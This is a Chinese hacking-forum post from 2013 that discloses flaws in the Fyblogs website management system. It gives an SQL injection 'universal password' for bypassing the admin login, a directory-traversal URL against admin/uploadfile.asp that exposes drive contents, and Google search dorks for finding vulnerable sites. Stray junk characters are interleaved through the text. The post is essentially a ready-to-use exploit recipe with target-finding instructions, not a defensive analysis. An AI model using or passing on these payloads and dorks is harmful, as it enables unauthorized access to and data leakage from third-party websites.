找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2183|回复: 0
打印 上一主题 下一主题

Fyblogs网站管理系统漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:17:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
后台万能密码 'or'='or'- j7 y/ Y, \# ~& Z" a' C. ?' o

2 s# T) _+ I8 G0 M2 m2 b后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露!
$ K: l  H& S3 `9 Zadmin/uploadfile.asp?currentFolder=/upfiles/../
! \/ Y0 I: K5 S, I9 B6 p
) {3 q7 W" ~( Q漏洞证明:
* l: E7 `  N* \- `, T
/ S* @5 I. w/ s; y& \, Y谷歌:inurl:type.asp?id=1 新闻中心7 B6 S0 H3 m) d$ ?& G$ J7 J- f
或者 :inurl:download_ok.asp?' P* T- S6 R/ {3 b, f

' {3 _: z5 Z, m, M# L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表